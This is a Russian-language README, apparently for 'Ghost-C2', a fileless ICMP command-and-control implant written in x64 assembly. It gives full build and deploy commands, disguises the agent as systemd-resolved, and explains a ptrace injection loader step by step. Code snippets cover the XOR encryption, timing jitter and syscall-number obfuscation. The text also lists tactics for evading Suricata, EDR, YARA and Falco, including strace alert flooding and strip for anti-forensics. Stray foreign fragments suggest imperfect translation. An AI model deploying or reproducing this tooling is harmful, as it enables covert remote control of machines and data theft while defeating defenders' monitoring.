C2-фреймворк, написанный целиком на x64 Linux Assembly без libc. Канал управления — сырые ICMP-пакеты (скрытый трафик под видом ping). Агент живёт исключительно в RAM: нет записей на диск, нет динамических зависимостей, нет таблицы импортов. Маскируется под системный процесс (argv[0] overwrite), обходит Suricata v8.0.3 с ET ruleset. Phantom Loader (v3.6) — PIC shellcode через ptrace-инъекцию в существующий процесс; для маскировки ptrace-события оборачивает вызов в `strace` (LotL — alert flooding против eBPF-сенсоров типа Falco). Все syscalls напрямую через asm (socket, recvfrom, sendto, memfd_create, dup2, execve, fork).
# Требования: nasm, GNU ld (binutils), root (raw ICMP socket), Linux x86_64 git clone https://codeberg.org/JM00NJ/ICMP-Ghost-A-Fileless-x64-Assembly-C2-Agent cd ICMP-Ghost-A-Fileless-x64-Assembly-C2-Agent # Сборка агента (имя ≥15 символов для корректного argv[0]-overwrite) nasm -f elf64 sniff.asm -o sniff.o && ld sniff.o -o systemd-resolved # Сборка клиента (на машине атакующего) nasm -f elf64 client.asm -o client.o && ld client.o -o client # Развёртывание на цели (root required — raw ICMP socket) sudo ./systemd-resolved # Управление с машины атакующего sudo ./client # ── Phantom Loader (fileless ptrace injection) ──────────────────────────── cd Phantom_Loader # Отредактировать loader.asm: вписать имя целевого процесса (hardcoded) # Сборка загрузчика nasm -f elf64 loader.asm -o loader.o && ld loader.o -o loader strip --strip-all loader # anti-forensics # Инъекция в существующий процесс (strace = LotL-маскировка ptrace-события) sudo strace ./loader
________ ___ ___ ________ ________ _________ ________ ________
|\ ____\|\ \|\ \|\ __ \|\ ____\|\___ ___\ |\ ____\|\_____ \
\ \ \___| \ \ \\\ \ \ \|\ \ \ \___|\|___ \ \_| \ \ \___|\|____|\ \
\ \ \ __ \ \ __ \ \ \\\ \ \_____ \ \ \ \ \ \ \ ____\_\ \
\ \ \|\ \ \ \ \ \ \ \\\ \|____|\ \ \ \ \ \ \ \___|\____ \ \
\ \_______\ \__\ \__\ \_______\____\_\ \ \ \__\ \ \______\\_________\
\|_______|\|__|\|__|\|_______|\_________\ \|__| \|______\|_________|
\|_________|
Безфайловый, чистый C2-имплант на x64 Assembly, использующий ICMP как скрытый канал.
Ноль libc. Ноль диска. Невидимость для стандартных перехватов EDR.
Ghost-C2 — это фреймворк управления и управления (C2), написанный полностью на чистом x64 Linux Assembly без зависимостей от libc. Каждая операция выполняется через прямые вызовы системных функций (syscalls). Нет таблиц импорта, нет артефактов динамического компоновщика, нет записи на диск.
Канал C2 работает через сырые ICMP-сокеты, маскируясь под стандартный диагностический трафик. Имплант resides исключительно в оперативной памяти (RAM), инжектируется в запущенный системный процесс через пользовательский загрузчик на основе ptrace.
Этот проект был создан для исследования того, как далеко может зайти скрытность пользовательского пространства без вмешательства в ядро.
┌─────────────────────────────────────────────────────────────┐
│ OPERATOR MACHINE │
│ │
│ ┌──────────────┐ │
│ │ client.asm │ ← Terminal UI: prompt for IP + command │
│ │ (Operator │ Encrypts payload with Rolling XOR │
│ │ Console) │ Sends ICMP Echo Request (Type 8) │
│ └──────┬───────┘ Auth key: ID + SEQ = 45,000 │
│ │ │
└──────────┼──────────────────────────────────────────────────┘
│ Raw ICMP (port-less, stateless)
│
┌──────────┼──────────────────────────────────────────────────┐
│ │ TARGET MACHINE │
│ ▼ │
│ ┌──────────────┐ ┌─────────────────────────────────┐ │
│ │ loader.asm │────▶│ sniff.asm (PIC) │ │
│ │ (Phantom │ │ Lives in RAM only │ │
│ │ Loader) │ │ inside host process │ │
│ └──────────────┘ └────────────────┬────────────────┘ │
│ │ │
│ 1. Scans /proc for target PID │ Receives ICMP Req │
│ 2. ptrace ATTACH │ Validates auth │
│ 3. Force remote mmap (RW) │ Decrypts command │
│ 4. Inject PIC shellcode │ fork+execve │
│ 5. mprotect → RX │ memfd_create │
│ 6. Redirect RIP → shellcode │ Compress(DPCM-RLE)│
│ 7. ptrace DETACH → exits │ Encrypt & Frag. │
│ │ Sends ICMP Reply │
│ │ (Auth: 55,000) │
└─────────────────────────────────────────┼───────────────────┘
│ Raw ICMP + Jitter
▼
[ client.asm ]
Receives & Validates
Decrypts Payload
Decompresses (Hybrid)
Reassembles & Prints
client.asm — Консоль оператораТерминал на стороне атакующего. Принимает целевой IP-адрес и команду из stdin, шифрует полезную нагрузку и отправляет её в виде ICMP Echo Request. Прослушивает фрагментированные ICMP Echo Reply и восстанавливает вывод.
sniff.asm — Агент-имплант PICИмплант, работающий на целевой машине. Компилируется как сырой бинарный файл (позиционно-независимый, без ELF-заголовков), чтобы его можно было инжектировать в произвольные адреса памяти. Он:
- Пассивно слушает на raw ICMP-сокете
- Валидирует входящие пакеты с помощью асимметричной суммы ключа
- Расшифровывает команду, запускает оболочку (shell), захватывает вывод через memfd_create
- Фрагментирует и отправляет обратно в виде 56-байтных ICMP-чанков
Phantom_Loader/loader.asm — Механизм инжекцииМеханизм доставки. Сканирует /proc, находит целевой процесс по имени в comm и инжектирует PIC-шеллкод с помощью многофазного конечного автомата на ptrace. После инжекции чисто завершает работу — не оставляя следов.
Движок передачи данных Ghost-C2 использует гибридный уровень сжатия и кодирования, высокооптимизированный на x86-64 Assembly. Эта архитектура снижает объем данных, обеспечивая при этом естественный профиль трафика.
Вместо передачи сырых ASCII-значений движок вычисляет и отправляет математическую разность (дельту) между эталонным символом (Anchor) и последующими. Этот метод резко снижает энтропию данных с похожими диапазонами символов.
mov al, byte [rsi] ; Read new character
mov dl, al
sub al, bl ; Calculate difference (Delta) from Anchor (bl)
mov r9b, al ; Save Delta
mov bl, dl ; Set new Anchor
Работая в тандеме с DPCM, движок RLE упаковывает последовательные пробелы и повторяющиеся блоки разрешений — часто встречающиеся в выводе команд вроде ls -la — на битовом уровне.
.comp_flush:
mov byte [rdi], r8b ; Write repetition count (Count)
inc rdi
mov byte [rdi], r9b ; Write Delta value
Оптимизация полосы пропускания: снижает общий объем данных в среднем на 40–55% для текстовых командных выводов (ASCII/UTF-8).
Минимальная сетевая подпись: уменьшая объем данных, количество инжектированных ICMP-пакетов уменьшается вдвое, что значительно снижает риск срабатывания аномальных радаров IDS/IPS.
100% целостность данных: смещения стека строго ограничены безопасной областью памяти (0x100000), а синхронные рассинхронизации устранены. Massive datasets of 20KB+ (например, дампы /etc) надежно передаются без сдвига одного бита.
dpcm-rle-hybrid-x64-compressor: https://github.com/JM00NJ/Vesqer-Baremetal-Compressor-DPCM-RLE-Hybrid-Engine
Каждый исходящий ICMP-пакет структурирован так, чтобы быть неотличимым от стандартного Linux ping:
Offset 0-7 : ICMP Header (Type, Code, Checksum, ID, SEQ)
Offset 8-15 : Dynamic RDTSC timestamp ← mimics struct timeval
Offset 16-31 : 0x10, 0x11 ... 0x1F ← exact Linux iputils padding
Offset 32+ : Encrypted payload ← past most DPI scan depth
Сигнатурные движки IDS (Suricata, Snort) видят стандартную заполнитель (padding) и прекращают сканирование, не доходя до полезной нагрузки. Это Стратегическая брешь.
Имплант игнорирует все пакеты, где ID + SEQ ≠ 45,000. Случайные интернет-сканеры, автоматические инструменты безопасности и ханипоты никогда его не активируют. Имплант отвечает пакетами, где ID + SEQ = 55,000, делая два направления математически различными и предотвращая путаницу с ответом ОС.
Оба направления шифруются с использованием прогрессивно сдвигающегося ключа:
mov dl, 0x42 ; seed
xor [rsi], dl ; encrypt byte
add dl, 0x07 ; shift key
inc rsi
loop .loop
Это поддерживает низкую энтропию Шеннона — ICMP-трафик, зашифрованный AES, набирает ~8,0 и запускает аномальные предупреждения DPI. Скользящий XOR создает энтропию, похожую на сжатые или естественно зашумленные данные. Никаких криптографических констант, никаких S-боксов, ничего, за что могла бы зацепиться YARA.
Интервалы передачи пакетов рандомизируются с помощью аппаратного счетчика времени процессора (CPU Timestamp Counter), а не программных таймеров. Это создает тайминг-паттерны, которые математически непериодичны — основанные на ML движки NTA (Darktrace, Cisco Stealthwatch) требуют периодичности для фиксации C2-сигналов.
rdtsc
xor rdx, rdx
mov ecx, 900000000
div ecx ; RDX = random 0–900ms
add edx, 100000000 ; minimum 100ms
memfd_createВывод команд никогда не попадает на диск:
fork()
child: dup2(memfd, stdout) → execve("/bin/sh", ["-c", cmd])
parent: wait4() → lseek(0) → read loop → fragment → send
memfd называется [shm], что соответствует формату легитимных отображений общей памяти в /proc/PID/fd. Стандартный вывод lsof не показывает ничего подозрительного.
Современные смягчающие меры ядра запрещают память RWX. Загрузчик использует двухфазный подход:
Phase 1: Remote mmap with PROT_READ | PROT_WRITE
→ Inject shellcode via PTRACE_POKEDATA
Phase 2: Remote mprotect → PROT_READ | PROT_EXEC
→ No page is ever simultaneously W and X
Скенеры памяти EDR, ищущие аномалии RWX, ничего не находят.
Все номера syscall разнесены по двум инструкциям для борьбы со статическим анализом и простыми сканерами на основе grep:
; sys_memfd_create (319)
mov rax, 300
add rax, 19
syscall
; sys_ptrace (101)
mov rax, 99
add rax, 2
syscall
Загрузчик выполняет детерминированную, многошаговую инжекцию без каких-либо внешних зависимостей:
1. Open /proc with sys_getdents64
2. Scan linux_dirent64 entries for numeric directories (PIDs)
3. Read /proc/<PID>/comm → compare against target name
4. ptrace(PTRACE_ATTACH, pid)
5. wait4() loop with branchless sleep (cmovz/cmovs)
6. PTRACE_GETREGS → save register state + RIP
7. PTRACE_POKEDATA → write syscall opcode (0x050F) at RIP
8. PTRACE_SETREGS → configure mmap arguments in registers
9. PTRACE_SINGLESTEP → execute remote mmap
10. wait4() → PTRACE_GETREGS → read mmap return value (new address)
11. PTRACE_POKEDATA loop → write 1444-byte PIC payload (8 bytes/iter)
12. PTRACE_SETREGS → configure mprotect (PROT_READ | PROT_EXEC)
13. PTRACE_SINGLESTEP → execute remote mprotect
14. PTRACE_POKEDATA → restore original bytes at RIP
15. PTRACE_SETREGS → set RIP = injected payload address
16. PTRACE_DETACH → host process resumes, now running the implant
Загрузчик завершает работу сразу после шага 16. Хост-процесс продолжает нормальную работу с запущенным внутри Ghost-C2.
Известное ограничение: Процессы, ограниченные AppArmor или SELinux (в режиме enforce), блокируют
mprotectдля различных областей памяти. Загрузчик нацелен на неограниченные root-процессы, такие какcronилиVBoxService. Обход MAC-ограниченных сервисов запланирован для версии v4.x.
# Build the agent
nasm -f elf64 sniff.asm -o sniff.o && ld sniff.o -o systemd-resolved
# Build the client
nasm -f elf64 client.asm -o client.o && ld client.o -o client
# Deploy (target machine)
sudo ./systemd-resolved
# Operate (attacker machine)
sudo ./client
Совет: Назовите бинарный файл не менее 15 символов (например,
systemd-resolved), чтобы предоставить достаточно буфера стека для чистой перезаписиargv[0]без утечки переменных окружения.
После развертывания агент исчезает из стандартных списков процессов:
$ ps aux | grep systemd-resolved
root 3887 0.0 0.0 192 16 ? Ss 19:42 0:00 systemd-resolved
Единственный способ идентифицировать настоящий бинарный файл — через /proc:
$ sudo ls -la /proc/3887/exe
lrwxrwxrwx 1 root root 0 ... /proc/3887/exe -> /path/to/systemd-resolved
PIC-шеллкод предварительно скомпилирован и уже встроен в loader.asm. Пересобирайте его только если вы измените исходный код агента:
# (Optional) Recompile PIC shellcode after modifying sniff_pic.asm
cd Phantom_Loader
nasm -f bin sniff_pic.asm -o shellcode.bin
# Build the loader
nasm -f elf64 loader.asm -o loader.o && ld loader.o -o loader
# (Optional) Binary Optimization & Anti-Forensics
strip --strip-all loader
# Execute (target process must be running)
sudo strace ./loader
💡 Примечание по уклонению (Маскировка шума syscall с помощью LotL):
Выполнение намеренно обернуто с помощью strace. Это использует технику "Живи в земле" (Living off the Land, LotL) для генерации огромного количества легитимного отладочного шума. Заваливая датчики eBPF на уровне ядра (например, Falco) стандартными логами PTRACE_ATTACH, реальная вредоносная инжекция маскируется путем "Заваливания предупреждениями" (Alert Flooding). Это эффективно хоронит одну аномальную инжекцию в море стандартных отладочных операций, часто заставляя механизмы защиты и аналитиков.dismiss это событие как ложное срабатывание.
Имя целевого процесса захардкожено в loader.asm. Смотрите встроенные комментарии, чтобы изменить его.
Тестирование в контролируемой лабораторной среде при активной инспекции трафика:
| Тест | Результат |
|---|---|
| Suricata v8.0.3 (набор правил Emerging Threats) | ✅ Обойдена |
| Suricata v8.0.3 (пользовательские правила ICMP payload) | ✅ Обойдена |
| Шлюз DigitalOcean FRA1 | ✅ 100% успеха при экстракции |
| Предупреждения, сгенерированные при экстракции ~25KB | 0 |
Ghost-C2 взаимодействует напрямую с ядром Linux. Никаких оберток, никакой libc:
| Syscall | Номер | Использование |
|---|---|---|
sys_socket |
41 | Создание сырого ICMP-сокета |
sys_recvfrom |
45 | Пассивный захват ICMP-пакетов |
sys_sendto |
44 | Передача ICMP-ответов |
sys_memfd_create |
319 | Анонимный файл RAM для вывода |
sys_dup2 |
33 | Перенаправление stdout/stderr |
sys_execve |
59 | Выполнение команды оболочкой |
sys_fork |
57 | Изоляция процесса |
sys_nanosleep |
35 | Реализация джиттера |
sys_ptrace |
101 | Инжекция в процесс + антиотладка |
sys_prctl |
157 | Маскировка процесса + антидамп |
sys_getdents64 |
217 | Парсинг директории /proc |
sys_mmap |
9 | Удаленное выделение памяти |
sys_mprotect |
10` | Переключение разрешений W^X |
v4.x — Исследование обхода MAC
Основная исследовательская цель — обход процессов, ограниченных AppArmor и SELinux. Текущие кандидаты:
- Выполнение на основе ROP с использованием гаджетов из собственной исполняемой памяти целевой программы («Живём за чужой счёт» в памяти)
- Динамическое преодоление ASLR для разрешения адресов гаджетов
- Полное устранение зависимости от mprotect за счёт выполнения в существующих RX-страницах
Это долгосрочная исследовательская работа. Чистая сборка цепочек ROP на ассемблере с динамическим обнаружением гаджетов — нетривиальная область проблем.
Отсутствие PTY — это архитектурное решение, а не ограничение:
Целостность протокола: ICMP — бесконечный. Эмуляция упорядоченной доставки, аналогичной TCP, для потока TTY раздула бы кодовую базу и уничтожила бы легковесный дизайн.
Объёмная скрытность: Интерактивная оболочка генерирует ICMP-трафик при каждом нажатии клавиши. Это создаёт обнаруживаемый пик частоты. Ghost-C2 разработан для того, чтобы оставаться ниже порогов обнаружения аномалий.
Поверхность EDR: Выделение PTY требует вызовов /dev/ptmx и ioctl, которые тщательно мониторятся EDR. Создание интерактивной оболочки без легитимного родительского демона оставляет поведенческие артефакты.
Ghost-C2 — это гиперскрытный имплант для выполнения команд и эксфильтрации данных. Интерактивность жертвует невидимостью ради удобства — этот проект выбрал невидимость.
Ghost-C2 создан с страстью, потом и чистым ассемблером x64. Если этот проект помог вам понять низкоуровневое уклонение, имитацию протоколов или просто сделал ваши операции red team более плавными, поддержите разработку!
Ваша поддержка поможет мне купить больше кофе и провести больше бессонных ночей в борьбе с ошибками SIGSEGV, чтобы为您提供 более чистые, скрытые импланты.
Ghost-C2 разработан строго в образовательных целях, для реверс-инжиниринга и авторизованного исследования в области кибербезопасности.
Начиная с версии 3.6.1 и далее, этот проект лицензирован по Общей публичной лицензии GNU Affero версии 3.0 (AGPLv3). Любая сущность, взаимодействующая с этим программным обеспечением или модифицирующая его через сеть, должна раскрыть весь свой исходный код, как того требует лицензия. Коммерческая эксплуатация или интеграция в проприетарные/закрытые платформы строго запрещены.
Авторское право (c) 2026 JM00NJ (commSync). Все права защищены.
Автор не несёт ответственности за любое незаконное использование или ущерб, причинённый этим инструментом. Используйте его на свой страх и риск.